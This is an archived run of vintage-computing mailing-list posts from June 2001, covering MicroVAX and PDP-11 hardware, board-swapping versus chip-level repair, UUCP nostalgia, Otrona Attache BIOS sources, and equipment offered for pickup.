<200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> Message-ID: <992459034.3b27b91a97365@email.ou.edu> Quoting "Zane H. Healy" : > I hope you realize that with a MicroVAX II, especially in a BA123, > the most desirable part is the chassis itself, even if it's not all > there. I hadn't thought of this. Thanks for the heads-up. -- Jeffrey S. Sharp jss@ou.edu From edick at idcomm.com Wed Jun 13 14:21:28 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:27 2005 Subject: Ebay horror ... References: Message-ID: <002f01c0f43e$0ba53520$9cc762d8@idcomm.com> If you're suggesting that every board I acquire should be left intact, then you're also saying that I should leave it at the junkyard, since most of them are of no value to me if I don't own the system into which they might fit. I frequently grab boards just because I know I'll eventually need a part "just like that one" and that's why the board ends up in my possession instead of in the shredder. I don't buy stuff unless I see a use for it, and that's why I've left lots of DEC, HP, SUN, and other boards and systems right where I found them. I've also left boards from systems I reecognized, like Apple, and lots of PC/ISA boards. I'd buy an Enigma for a few bucks, because I could get more for it, on eBay, say, than it cost me, or, maybe, because the rotary switches might be of interest at some later date. I don't use simple rotary switches much, though. I've had four of them in my stock for over 25 years and have never once been moved to use them, though I've used encoded thumbwheel switches quite frequently. My outlook is clearly different than Tony's, first of all since I really don't enjoy fixing broken stuff, though I'd rather fix something I need that's broken than buy a new one, so long as it doesn't cost more to fix it than to replace it. The more I have to fiddle with the old stuff to get it to work, the more likely it is that it will be stripped of potentially useable parts and the remainder discarded. I'm really tired of stuff breaking all the time. I still have my very first PC, and it still works perfectly, AFAIK. I would that my more modern computers were so trouble-free. A few days ago I tossed out all the old Pentium motherboards that I had in a corner in the basement. The oldest of them was from 1993 and, frankly, there were more of them than all the other, '386 and earlier, PC mothers that I've had. I took half a dozen socketed GAL's off them, desoldered the easily accessible crystals and other potentially reusable components, and chucked 'em in the trash. At least the older boards have sockets and stuff you can reuse. Dick ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Wednesday, June 13, 2001 10:20 AM Subject: Re: Ebay horror ... > > You're right of course, about the PCB's that are of interest to you, but what > > about the ones that aren't? I've often snagged boards, not because I knew and > > wanted what they do, but because I knew and wanted what the IC's on the board > > could do and I wanted that in my inventory. I once built up a very-wide-word > > 'ya mean like those really neat rotary switches that we got by scrapping > that German machine - think it was called something like "enigma" ... > > From edick at idcomm.com Wed Jun 13 14:43:31 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... References: Message-ID: <003f01c0f441$202dd4e0$9cc762d8@idcomm.com> see below, plz. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Wednesday, June 13, 2001 12:09 PM Subject: Re: Ebay horror ... > > > > While it's probable you're right about your own relationship with your > > computers, others seem to have different relationships. My own experience > > suggests that if I replace the serial port board with a fully functional and > > If you know it's a fault on the serial port (for example), then you've > done almost enough tests to determine what the fault really is. I am not > talking about 'fault finding' that goes like : 'The modem doesn't work' > 'Replace the serial card and see what happens' 'Oh, seems to be OK now' > -- that's not fault-finding, that's why I object to board swapping. > Well, it certainly doesn't find the fault in the serial board, but it does find and fix the fault in the computer. Since serial boards cost less than the 10 minutes it takes to swap them, and it costs 100x that much to fix the serial board, at a minimum, it seems to make sense to swap the board. That does fix the computer, doesn't it? > > And if you know where the fault really is, it doens't take that much > longer to replace the fualty chip or whatever. > That's true if it's a serial board. However, if it's a mono video board, also costing less than a half-hour's time, and replacing it gets the server back into service, while tracking down and replacing the 100-pin fine-pitch pqfp that costs 10x the retail cost of the new video board (don't ask me why, but it does) and that only if you buy 100k of them, it's still cheaper and more sensible to fix the computer by replacing the video board and tossing the old one. Of course, if it's just a memory IC, perhaps that can be fixed later when there's an odd hour to waste. > > > identical one, the fault in the serial port board can be fixed AFTER the system > > is running again. Otherwise, I have to fix the board first. If that's the box > > I use to order the parts needed to fix the serial board, I have a problem that a > > It's interesting you mention the serial port -- yes those do fail quite > often. But most of the time _on all the machines I have_ it's the RS232 > drivers/receivers that fail, not the UART or other logic. > True, but not if you don't fiddle with the cables. Moreover, even the few minutes needed to desolder the transmitter, and that fails more frequently than the receiver, for some odd reason, in my experience, you've still spent more than the entire replacement card costs. > > Now, 95% (or so) of the machines I have -- minis, micros, etc -- use > 1488s and 1489s for this. DEC, Philips, PCs, TRS-80s, all have them. The > next most common chip is the MAX232. Then comes the oddball stuff. > several of my old S-100 boards use the 75154 and other somewhat odd parts. I hand-wired a mezzanine card that plugs into the sockets occupied by two 8-pin transmitter parts and one 75154 and replaces them with a 1488 and a 1489, just because of that. Apparently there were supply problems or cost issues that caused CCS to design with the TI parts. > > Now, I do enough designing/prototyping here that I keep 1488s, 1489s and > MAX232s 'in stock'. It is actually easier for me to find a replacement > chip than a complete serial board. It also makes a lot more sense to me > to keep small parts that can be used to repair many different machines > than complete boards that only fit one machine. > In recent years I've found it MUCH easier to find a replacement serial board for a PC than a replacement 1488/89. The fact they're not so popular as they were back when they weren't on the motherboard makes a difference. They cost typically $1 for two at the local thrift stores. > > And it takes no time at all to find out which section of which chip is > faulty. If you can't manage that, well.... > > Now, what about the oddball stuff. Well, machines with odd RS232 buffers > tend to be odd machines. And odd machines are not the easiest thing to > find complete spare boards for. For example it's going to be a lot easier > to get one of the serial buffer chips for my Apple Laserwriter than to > find a complte LW2NT formatter board that happens to be configured > correctly to work in my system. And in my experience it would take longer > to configure one than it would to change the darn buffer chip. > > > board swap will fix and no other method will handle as quickly. > > > > Now, maybe swapping out the offending component won't fix some systems, but I > > don't have any of those. > > Odd, as I said, I don't have a machine where swapping parts _will_ fix it > quickly and reliably.... > I'm sure that with all your experience, the replacement of a faulty IC is thoroughly executed and produces a reliable result. For me, though, since the electricity to desolder and resolder a faulty component often costs more than a replacement board, I prefer to swap the board. That doesn't mean I toss it afterwards, since it can normally be fixed, and, eventually, there won't be spares so readily available. BTW, when I worked in aerospace, whole computer systems were considered components in larger systems. I meant board-level components in my remark, not an IC. There was a time when I loved isolating and replacing faulty IC's. Sockets made it easier, by far, and quick enough that it was worth doing. However, those same sockets made the board more costly and less reliable. The sockets some fellows liked best often allowed parts to fall out of them if the local fan was running out a bit and caused vibration. I've seen plenty of them let go of an IC as they were extracted from their backplane. I had a tough time convincing some fellow micro enthusiasts that the common and readily avaiable TI low-profile sockets really needed one to fasten down the IC's with a clip or wire-tie if one wanted them to stay in place. Consequently, I developed a liking for the later generation of gas-tight sockets that didn't let go so easily, and, in fact, would take your fingernail off if you attempted to use it to extract a part. > > -tony > > From mikeford at socal.rr.com Wed Jun 13 14:42:47 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... In-Reply-To: References: <5.1.0.14.1.20010612205739.0224a610@mailhost.intellistar.net> from "joe" at Jun 12, 1 09:01:55 pm Message-ID: >Yep... Most of the cards I saw were S100 type things (so figure on $1's >worth of gold). Perhaps $1.50 for a DEC quad-height card... > >You know, I would have gladly paid that much extra to have the cards in >useable condition. I think most people here would as well.... People are often screwy when it comes to gold. One scrap place I visit has a guy thats nuts for it, and constantly ruining valuable cards that I take up to the owner show him the damage and tell him the price I would have paid for the card if it wasn't ruined. From mikeford at socal.rr.com Wed Jun 13 14:37:10 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:28 2005 Subject: old external Apple drive In-Reply-To: <003601c0f42e$58596360$9cc762d8@idcomm.com> References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> <3B275631.5F985993@greenbelt.com> Message-ID: >When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and >allowed to >boot with the drive turned on, it "sees" and reports the presence of a device, >WD-1006-something which it later reports it can't spin up. OK, pretty common item, a zero footprint, ie it sits under a compact mac like the Plus, and inside is a bare SCSI drive and power supply, no bridge thingy, just wires to the SCSI drive from the connectors and ID switch. The failure mode is about 3:1 drive vs power supply, so many are like yours, talks but doesn't spin. If you replace the drive, and the power supply is still good, they are pretty handy to have around in a mac environment, since almost all macs support external SCSI devices you can put one of the early flexible OS releases like 7.5.3 on a small hard drive and then use it to boot test systems etc. With a larger drive it is handy to both boot old systems, and to make quick copies of the internal hard drive before formatting etc. From allain at panix.com Wed Jun 13 14:55:58 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:28 2005 Subject: A/C for Workstations References: Message-ID: <001301c0f442$ddd1b1a0$8a0101ac@ibm23xhr06> Anybody ever see vended a real small Air conditioner, say 20 pounds and 200 watts for small situations, like one workstation? Most small A/C's seem to be 80 lbs 1000 watts and up. We had a wheeled portable at IBM but it was def. too large. Would 10 or so Pelletiers be the trick? John A. From uban at ubanproductions.com Wed Jun 13 15:03:10 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:28 2005 Subject: 21 slot 9u VME chassis with 6 Sun OEM 3/110 boards In-Reply-To: <01061218541101.00890@fatty> References: <200106122053.f5CKrX122894@shell1.aracnet.com> <200106122053.f5CKrX122894@shell1.aracnet.com> Message-ID: <3.0.5.32.20010613150310.0083ede0@ubanproductions.com> I have a 21 slot 9u VME chassic which is designed to be rack mounted, complete with 6 Sun OEM 3/110 boards. If someone is interested in this, it is available for the cost of shipping, etc. But pickup (in NW Indiana) is preferable. --tom From mikeford at socal.rr.com Wed Jun 13 14:51:19 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:28 2005 Subject: Fastpath 4 boxes available In-Reply-To: Message-ID: >In a message dated 6/13/01 1:30:09 PM Central Daylight Time, >jott@mastif.ee.nd.edu writes: > ><< I have a micro channel 3com etherlink II and sound card for trade. They > came out of an IBM ps/2 model 77. > >> >have you any details on the sound card? FRU number, or name of it. I have a couple, the Vibra16 and something from Roland (maybe have 2 of those), but I am still looking for a "real" sound blaster MCA type card. BTW I am not him, just commenting. From rigdonj at intellistar.net Wed Jun 13 15:18:43 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... In-Reply-To: References: <5.1.0.14.1.20010612205739.0224a610@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010613161743.022472a0@mailhost.intellistar.net> At 06:50 PM 6/13/01 +0100, Tony wrote: > > > > At 11:23 PM 6/12/01 +0100, Tony wrote: > > > > >That depends on the amount of gold plating, I believe. Certainly I've > > >seen surplus PCBs in the UK which have had the gold-plated edge fingers > > >cut off, but where the rest of the board is intact. I assume this is > > >because the gold-plated parts are worth recycling. > > > > > >I find this annoying, BTW. I don't know exactly what the gold on a card > > >edge is worth, but it can't be more than a few pounds. > > > > Just as a rule of thumb, the edge connectors USED to be worth about 1 > > cent per contact however the price of gold has dropped > > considerably. Makes you sick doesn't it? > >Yep... Most of the cards I saw were S100 type things (so figure on $1's >worth of gold). Perhaps $1.50 for a DEC quad-height card... > >You know, I would have gladly paid that much extra to have the cards in >useable condition. I think most people here would as well.... I know that I would. I've tried to explain that to the scrappers around here but they're just plain nuts about gold! Joe >-tony From jfoust at threedee.com Wed Jun 13 15:21:06 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:28 2005 Subject: Fwd: EMP Cameca SX50 and PDP-11/?? available in (408) Message-ID: <4.3.2.7.0.20010613152001.01efbef0@pc> Contact the person below. >Subject: EMP Cameca SX50 available >To: Microscopy@sparc5.microscopy.com >X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 >From: "Andrew Kellock" >Date: Tue, 12 Jun 2001 14:29:20 -0700 > >------------------------------------------------------------------------ >The Microscopy ListServer -- Sponsor: The Microscopy Society of America >To Subscribe/Unsubscribe -- Send Email to ListServer@MSA.Microscopy.Com >On-Line Help http://www.msa.microscopy.com/MicroscopyListserver/FAQ.html >-----------------------------------------------------------------------. > >After more than 20 years of faithful service at IBM Research we will be >retiring our Cameca SX50 electron microprobe. >The machine has three wavelength dispersive detectors as well as one energy >dispersive detector. The machine is operational except for the computer >system, which is a PDP-11. The machine has been dormant, but under vacuum >for roughly 3 years. >If anyone is interested in purchasing the machine, please send your offers >to : > >Dr Andrew J. Kellock >Ion Beams Lab >Almaden Research Center >(408) 927 2353 >kellock@almaden.ibm.com From mikeford at socal.rr.com Wed Jun 13 15:31:35 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:28 2005 Subject: A/C for Workstations In-Reply-To: <001301c0f442$ddd1b1a0$8a0101ac@ibm23xhr06> References: Message-ID: >Anybody ever see vended a real small Air >conditioner, say 20 pounds and 200 watts >for small situations, like one workstation? >Most small A/C's seem to be 80 lbs 1000 >watts and up. We had a wheeled portable >at IBM but it was def. too large. >Would 10 or so Pelletiers be the trick? I think I would look at hacking one of those little office size refridgerators. From jfoust at threedee.com Wed Jun 13 15:30:08 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151151@jeffserver.tegjeff. com> Message-ID: <4.3.2.7.0.20010613152446.01f15850@pc> At 08:30 AM 6/13/01 -0400, Douglas Quebbeman wrote: >> Since most vintage machines can't run TCP/IP but CAN run uucp, would >> there be any interest in a dialup uucp node for retrieving email, files, etc >> specifically geared toward vintage machines? > >I've been thnking of this in a bit wider context. >With some of the changes happening on the Internet, it's >not quite as friendly as it used to be. You can still use the regular Internet as your transport and do away with the toll calls, can't you? A sledgehammer approach would be a VPN. - John From celigne at tinyworld.co.uk Wed Jun 13 15:35:26 2001 From: celigne at tinyworld.co.uk (Paul Williams) Date: Sun Feb 27 19:04:28 2005 Subject: VMS Documentation CD-ROM &unibus question References: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> <3.0.1.32.20010612172054.00cef1e0@mail.30below.com> Message-ID: <3B27CE8E.55533AD4@tinyworld.co.uk> Roger Merchberger wrote: > > Can the VMS VAX Documentation CD (Ver. 7.1) be viewed on anything > at all other than VMS? I have linux, Compaq Tru64 Unix V5.0 I read my ODS-2 format CDs under Linux with vmscd, from . This is just a copy utility, so I copy off a load of the Bookreader files and then use a slightly hacked version of Doug Jones' webbook. Regards, Paul From ken at seefried.com Wed Jun 13 15:49:43 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: <200106131818.NAA80845@opal.tseinc.com> References: <200106131818.NAA80845@opal.tseinc.com> Message-ID: <20010613204943.19151.qmail@mail.seefried.com> The source code for uucp is availible any number of places; that's probably the best existing doco. I occasionally have to dust off my ancient UUCP sk1llz to get files on and off some antique for a client. BTW...If one wanted to create an out-of-band network, I dunno if I'd pick UUCP. There are a number of other approaches to doing this out there that are more functional, more covert and less baroque. I can almost remember when I was "...!ucbvax!gatech!weasel!ken". Weasel was a i386sx/20 running SCO Unix in my apartment, and with a 2400 baud dialin, I was *way* kewler than those BBS weenies. Mail, USENET News and file transfer...all you really needed. Peter Honeyman was even around to ask questions, which helped. Ken Seefried, CISSP From spectre at stockholm.ptloma.edu Wed Jun 13 15:59:52 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:28 2005 Subject: A/C for Workstations In-Reply-To: from Mike Ford at "Jun 13, 1 01:31:35 pm" Message-ID: <200106132059.NAA10464@stockholm.ptloma.edu> > >Anybody ever see vended a real small Air > >conditioner, say 20 pounds and 200 watts > >for small situations, like one workstation? > >Most small A/C's seem to be 80 lbs 1000 > >watts and up. We had a wheeled portable > >at IBM but it was def. too large. > >Would 10 or so Pelletiers be the trick? > > I think I would look at hacking one of those little office size > refridgerators. Nah, just put it in one, have all the cables stream out through the door. ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Humor is a drug which it's the fashion to abuse. -- William Gilbert -------- From KenzieM at sympatico.ca Wed Jun 13 16:23:08 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:28 2005 Subject: Vintage Machines in Gaspe? Message-ID: <007401c0f44f$0ba9b940$0101a8c0@sympatico.ca> I'm heading out on vacation through Montreal to Gaspe and possibly returning through Maine, New Hampshire, Vermont and New York. Are there any interesting stops for vintage machines along the way. I think someone once mentioned an SGI machine that was taking up space. Still looking for a monitor and cable to complete a VAXstation. From healyzh at aracnet.com Wed Jun 13 16:23:21 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <992459034.3b27b91a97365@email.ou.edu> from "Jeffrey S. Sharp" at Jun 13, 2001 02:03:54 PM Message-ID: <200106132123.f5DLNMN13846@shell1.aracnet.com> > > I hope you realize that with a MicroVAX II, especially in a BA123, > > the most desirable part is the chassis itself, even if it's not all > > there. > > I hadn't thought of this. Thanks for the heads-up. I figured that might be the case. Which is why I brought it up. The thing to remember is that a BA123 from a MicroVAX II makes a *VERY* nice starting point towards building your own PDP-11. I'm sure there are lots of people that will disagree, but a MicroVAX II is a real dog, I'd rather use it as a parts donor for a PDP-11, and run VMS on a 4000 class VAX (either a VAXstation 4000, or a VAX 4000/*) if I'm running it on a VAX at all. Of course the thing to remember is I've got my VMS boxes doing real work, and I'm more interested in the Operating Systems than the hardware in most cases (old PDP's with full front panels being the exception). Zane PS I'm not trying to start a flamewar, it's just my opinion, and largly based on the fact that MFM disks are the standard for MicroVAX II class machines (and yes I've got several that are still VAXen, including a VAXstation II/RC that won't be a parts donor (hey, it was my first VAX if nothing else)). From edick at idcomm.com Wed Jun 13 16:25:38 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:28 2005 Subject: old external Apple drive References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> <3B275631.5F985993@greenbelt.com> Message-ID: <000f01c0f44f$642f7780$9cc762d8@idcomm.com> Though it's quite possible, and, in fact, likely, the drive is dead, the thing proclaims itself to be a Western Digital 1006V SCS... (that's all the space the ADAPTEC software allows for name) and it responds to a select, though it thinks it's not spinning up, and I agree, since I can't hear it spin up. I'm not convinced 1006V is a WD drive name, though it fits into the pattern of their bridge controller series. If I could get the drive enclosure opened up, I'd know right away. A 20 MB drive, though possibly handy for a small CP/M system, is otherwies of little interest, so I'm not worried about the drive. I'd like to know about the bridge controller, if there is one, though. The last two Apple-compatible drive enclosures I took apart used a bridge. I also have a couple that don't use a bridge, however, so anything's possible. Dick ----- Original Message ----- From: "Mike Ford" To: Sent: Wednesday, June 13, 2001 1:37 PM Subject: Re: old external Apple drive > >When my WD20AP unit is attached to an ADAPTEC AHA1542B under DOS and > >allowed to > >boot with the drive turned on, it "sees" and reports the presence of a device, > >WD-1006-something which it later reports it can't spin up. > > OK, pretty common item, a zero footprint, ie it sits under a compact mac > like the Plus, and inside is a bare SCSI drive and power supply, no bridge > thingy, just wires to the SCSI drive from the connectors and ID switch. The > failure mode is about 3:1 drive vs power supply, so many are like yours, > talks but doesn't spin. > > If you replace the drive, and the power supply is still good, they are > pretty handy to have around in a mac environment, since almost all macs > support external SCSI devices you can put one of the early flexible OS > releases like 7.5.3 on a small hard drive and then use it to boot test > systems etc. With a larger drive it is handy to both boot old systems, and > to make quick copies of the internal hard drive before formatting etc. > > > From ard at p850ug1.demon.co.uk Wed Jun 13 15:27:20 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: PC Adapter Tech Ref In-Reply-To: <497A9E0467D2D2119B760090271EB8E5879A31@MAIL10> from "Cini, Richard" at Jun 13, 1 02:53:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 379 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/d227a8e3/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 13 15:54:07 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... In-Reply-To: <003f01c0f441$202dd4e0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 13, 1 01:43:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 7459 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/5a9b66e1/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 13 15:32:26 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:28 2005 Subject: Ebay horror ... In-Reply-To: <002f01c0f43e$0ba53520$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 13, 1 01:21:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1947 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010613/690dfb5e/attachment.ksh From ethan_dicks at yahoo.com Wed Jun 13 17:05:43 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <200106132123.f5DLNMN13846@shell1.aracnet.com> Message-ID: <20010613220543.26237.qmail@web9501.mail.yahoo.com> --- healyzh@aracnet.com wrote: > > > I hope you realize that with a MicroVAX II, especially in a BA123, > > > the most desirable part is the chassis itself... > > I figured that might be the case. Which is why I brought it up. The thing > to remember is that a BA123 from a MicroVAX II makes a *VERY* nice starting > point towards building your own PDP-11. Yep. Lots of elbow room. Eventually, I'll get my KDA-50 up and all, but for now, it's a nice MFM disk farm. > I'm sure there are lots of people that will disagree, but a MicroVAX II is a > real dog, I'd rather use it as a parts donor for a PDP-11, and run VMS on a > 4000 class VAX (either a VAXstation 4000, or a VAX 4000/*) if I'm running it > on a VAX at all. I would, too, if I had a 4000-class VAX. OTOH, I have some stuff (like COMBOARDs) that do not run on 4000-class VAXen because of timeout latency, etc. I have recently run across a document I received from a DEC engineer years ago where they describe what devices are not rated for use in a VAX 4000 because the timeouts had lengthened over the years and over the various models. I need to scan this in. We first noticed the problem when a VAX 4000 w/TLZ04 and COMBOARD would lock up so tight that we had to power off. Turns out the TLZ04 was starving us and the timeout recovery mechanism that worked with MicroPDPs and uVAX-II and uVAX-III CPUs changed enough with the VAX 4000 to cause serious wedging. If all you need is a VAX processor, memory, disk, some flavor of tape, some serial devices and a network device (DDCMP sync-serial and/or Ethernet), then a VAX 4000 is a great production and hobby box. If you have certain devices that you need to use, for data interchange or the like, a VAX 4000 may or may not be the best choice. > PS I'm not trying to start a flamewar, it's just my opinion, and largly > based on the fact that MFM disks are the standard for MicroVAX II class > machines (and yes I've got several that are still VAXen, including a > VAXstation II/RC that won't be a parts donor (hey, it was my first VAX if > nothing else)). I find _that_ to be the biggest limitation of the uVAX-II - I have enough MFM disks to keep my machines working, but since newer versions of VMS don't like to fit on an RD54, I'm kinda trapped. I need the older stuff for some reasons and I'd love to move to newer stuff for others (mostly modern disks and communications devices). I have a BA123 that I'm currently setting up as a uVAX-II because that's my "biggest" Qbus machine. I expect to recycle its BA23 with a KDF11 CPU because that's my biggest Qbus PDP-11. Nobody has thrown a newer VAX or MicroPDP my way yet (except for the Pro380/Console I rescued from work when we dumped the VAX 8530 8 years ago). -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From uban at ubanproductions.com Wed Jun 13 17:09:19 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:28 2005 Subject: 21 slot 9u VME chassis with 6 Sun OEM 3/110 boards In-Reply-To: References: <3.0.5.32.20010613150310.0083ede0@ubanproductions.com> Message-ID: <3.0.5.32.20010613170919.0091bd00@ubanproductions.com> This equipment is now spoken for... --tom > I have a 21 slot 9u VME chassic which is designed to be rack > mounted, complete with 6 Sun OEM 3/110 boards. > > If someone is interested in this, it is available for the cost > of shipping, etc. But pickup (in NW Indiana) is preferable. > > --tom > From donm at cts.com Wed Jun 13 17:29:27 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:28 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: On Wed, 13 Jun 2001, Feldman, Robert wrote: > I don't know of any Otrona specific sites, but do you still provide > (http://www.gaby.de/sysdisk.htm) the system disks Don? Yep, sure do. Lovely machine. Truly the Cadillac of `luggables' in its day. My eyes demand an external monitor these days, however. > I have a working 8:16 (upgraded to 640K by Brown Enterprises) with both User > Guides and a small Service Guide. I have been corresponding with someone in > Australia who has the technical manuals and an Otrona that will not keep > time or boot. I've been thinking of scanning my Service Guide for this chap. > If I do, I will make it available. I will see if we can get his technical > manuals scanned, too. That would be a real asset for owners. > I have the CP/M and MS-DOS 2.11e disks. The latter was in development when > Otrona went bankrupt, but was distributed by the Attache User's Group out of > S.F. I also have some of the sales literature and the last User's Group > newsletters and disks (one of which contains a buggy source of the BIOS). I have a BIOS source file also. Is this the same header on the file as yours? .TITLE 'BIOS FOR 48 TPI READ OF 96 TPI DRIVES' ; ; |----------------------------------------------| ; | | ; | OTRONA 500 SERIES CP/M 2.2 BIOS & BOOT | ; | | ; |----------------------------------------------| ; ; S.GRAY 10-19-1983 ; R.LINGEMANN ; R.WINTER ; If so, likely mine is buggy also. - don > BTW, Don, I have a 5027 I will part with (contact me offlist). I got it as a > spare (I had heard they often went out) when I took my Otrona to Peru to use > with an archaeological project. A fellow archaeologist here in Chicago at > the Oriental Institute used his in the Middle East. He got Autodesk to > customize AutoCAD (version 1.4) for the Otrona, although apparently, in the > end, John Walker felt it was a waste of time. I still have a copy of the > Otrona AutoCAD, but don't have the proper mouse or digitizer to use it > effectively. > > Bob Feldman > Robert_Feldman@jdedwards.com > > -----Original Message----- > From: Don Maslin [mailto:donm@cts.com] > Sent: Tuesday, June 12, 2001 7:17 PM > To: classiccmp@classiccmp.org > Subject: Re: Devoted site to the Otrona Attache? > > > > > On Tue, 12 Jun 2001, David Vohs wrote: > > > Does anyone know where (if?) there are any sites devoted to the Otrona > > Attache? I am asking because I not too long ago picked up one of these > great > > little machines (I know, lucky me!) & was wondering how large (small?) the > > remaining user base is. > > I am unaware of an Otrona site, but I have four of the machines. Wish I > knew where to get some CRT 5027 chips at a reasonable price, though. > There was also a TI clone whose p/n does not come to me directly. > > - don > > > ____________________________________________________________ > > David Vohs, Digital Archaeologist & Computer Historian. > > Home page: http://www.geocities.com/netsurfer_x1/ > > > > Computer Collection: > > > > "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, MPS-801. > > "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. > > "Delorean": TI-99/4A, TI Speech Synthesizer. > > "Monolith": Apple Macintosh Portable. > > "Spectrum": Tandy Color Computer 3, Disto 512K RAM board. > > "Boombox": Sharp PC-7000. > > "Butterfly": Tandy Model 200, PDD, CCR-82. > > "Shapeshifter": Epson QX-10, Titan graphics & MS-DOS board, Comrex HDD. > > "Scout": Otrona Attache. > > ____________________________________________________________ > > > > _________________________________________________________________ > > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > > > From ethan_dicks at yahoo.com Wed Jun 13 17:29:02 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:28 2005 Subject: Interest in UUCP? In-Reply-To: <20010613204943.19151.qmail@mail.seefried.com> Message-ID: <20010613222902.73987.qmail@web9507.mail.yahoo.com> --- Ken Seefried wrote: > > The source code for uucp is availible any number of places; that's probably > the best existing doco. I occasionally have to dust off my ancient UUCP > sk1llz to get files on and off some antique for a client. When I was a system admin for Lucent (1997-1999), I was amazed at how much they depend on UUCP for internal file transfer. I cut my teeth on Ultrix on a VAX-11/730 (for Usenet, before the Great Renaming) and put that knowledge to practical use to attach my Amiga 1000 to Ohio State (helping to debug the Amiga UUCP package to be compatible with HDB UUCP). I never expected to _use_ that knowledge more than 10 years later, let alone be paid for it. > BTW...If one wanted to create an out-of-band network, I dunno if I'd pick > UUCP. There are a number of other approaches to doing this out there that > are more functional, more covert and less baroque. I don't know... UUCP has the advantage of working with just about everything that can take a hard disk but doesn't have Ethernet (Amigas, AT&T 3B1/Unix-PCs, PDP-11s, etc.). In the case of classic hardware, baroque software is a good thing - it means you don't have to roll your own. About the only thing that is more universal than UUCP is Kermit. > I can almost remember when I was "...!ucbvax!gatech!weasel!ken". I was "...!ihnp4!cbosgd!osu-eddie!giza!kumiss!erd", among other names. I just did a web search and I can't find anything posted with my old bang path in it, but I did find a couple references to "erd@kumiss.cmhnet.org", our old local Ham Radio/Computer club UUCP domain. I went grubbing through Deja.com in the group comp.mail.maps and found this... #N osu-mps, zaphod.mps.ohio-state.edu #S Sparcstation 2; SunOS 4.1.2 #O Department of Mathematics, The Ohio State University #C David Alden #E osu-mps!postmaster, osu-mps!alden #T +1 614 292 4962 #P 231 W 18th Ave, Columbus, OH, USA 43210 #L 39 59 N / 83 03 W city #R #U cambria coral n8emr #W alden@mps.ohio-state.edu (David J Alden); Mon Aug 24 09:04:31 EDT 1992 # # This machine's sysname (for news) is actually "zaphod.mps.ohio-state.edu". # It has ~35 nntp neighbors and is the major news gateway into Columbus, Ohio. # osu-mps= zaphod.mps.ohio-state.edu # osu-mps cambria(DIRECT+HIGH), coral(DIRECT+HIGH), kumiss(DIRECT), n8emr(DIRECT+HIGH) And this (once I lost my direct OSU connection... #N kumiss #S Commodore-AMIGA 1000; Amiga-DOS V1.3 & Amiga-UUCP V1.15D #O #C Ethan Dicks #E kumiss!erd, kumiss!postmaster #T +1 614 *** **** #P **** ** **** ********* ** ****** #L 40 01 00 N / 82 59 40 W #R This site recieves mail and a partial News feed #U #W kumiss!erd (Ethan Dicks); Mon Nov 